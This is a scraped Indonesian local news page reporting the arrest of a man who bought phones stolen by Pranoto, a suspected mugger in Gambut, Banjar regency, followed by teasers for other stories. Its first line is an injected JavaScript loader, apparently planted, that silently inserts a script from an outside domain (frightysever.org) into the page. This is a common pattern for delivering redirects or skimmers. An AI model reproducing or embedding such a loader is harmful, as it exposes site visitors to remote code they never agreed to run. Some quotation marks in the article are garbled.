(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Setelah meringkus Pranoto, yang merupakan tersangka begal, Unit Reskrim Polsek Gambut kembali berhasil menangkap penadah barang hasil begal di sebuah rumah yang terletak di Jalan Pahlawan Desa Guntung Ujung, Kecamatan Gambut, Kabupaten Banjar, Kamis (5/7).
Sebelumnya Unit Reskrim Polsek Gambut dan Anggota Intelkam Polsek Gambut pimpin Kanit Reskrim Ipda H. Ruspandi didampingi Kanit Intelkam Bripka Edy Purwanto berhasil meringkus Pranoto alias Noto yang diketahui telah melakukan aksi begal di Jalan A Yani Km 17.500 Kelurahan Gambut, Kecamatan Gambut. Pada kasusnya itu, Pranoto merampas barang milik korbannya berupa 1 Buah Handphone Oppo A57 dan 1 Buah Handphone Neo 7.
Baca Juga : Tujuh Kali Melakukan Aksi Begal, Pranoto ‘Dihadiahi’ Timah Panas
Paska penangkapan terhadap Pranoto, pihak Kepolisian selanjutnya melakukan pengembangan untuk mengetahui tersangka yang berperan sebagai penadah barang bukti kasus tersebut. Alhasil, Unit Reskrim Polsek Gambut dan Anggota Intelkam Gambut berhasil mengamanan Saberansyah alias Aban yang mengakui telah membeli barang hasil kejahatan.
Kapolres Banjar AKBP Takdir Mattanete melalui Kapolsek Gambut AKP Purnoto membenarkan penangkapan terhadap pelaku penadah barang kejahatan tersebut.
“Benar pelaku Aban ini telah mengakui membeli 1 Buah Handphone Oppo A57 dan 1 Buah Handphone Neo 7 dari tersangka Pranoto yang sebelumnya telah diamankan,†ungkapnya.
Pranoto sudah 7 kali melakukan tindak pidana pencurian dengan pemberatan dengan tempat kejadian Perkara di Wilayah Hukum Polsek Gambut. “Semua aksinya itu pelaku mendapatkan 6 buah Hp dan 1 kendaraan motor Honda Revo warna Hitam“ pungkas Kapolres Banjar
Dalam pengakuannya, Aban mengungkapkan telah membeli handphone merek Oppo dari tersangka Pranoto dengan kisaran harga Rp 1 juta. Namun dirinya menyangkal tidak mengetahui Handphone yang dibelinya tersebut merupakan hasil dari tindak kejahatan yang mana hal ini bertentangan dengan pengakuan Pranoto yang mengatakan bahwa Aban sebenarnya mengetahui Handphone tersebut atas aksi begalnya. “pengakuan keduanya, si penadah dan si tersangka begal bertentangan, namun kita masih proses lebih lanjut†ungkapnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More
KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More
KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More
Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
This website uses cookies.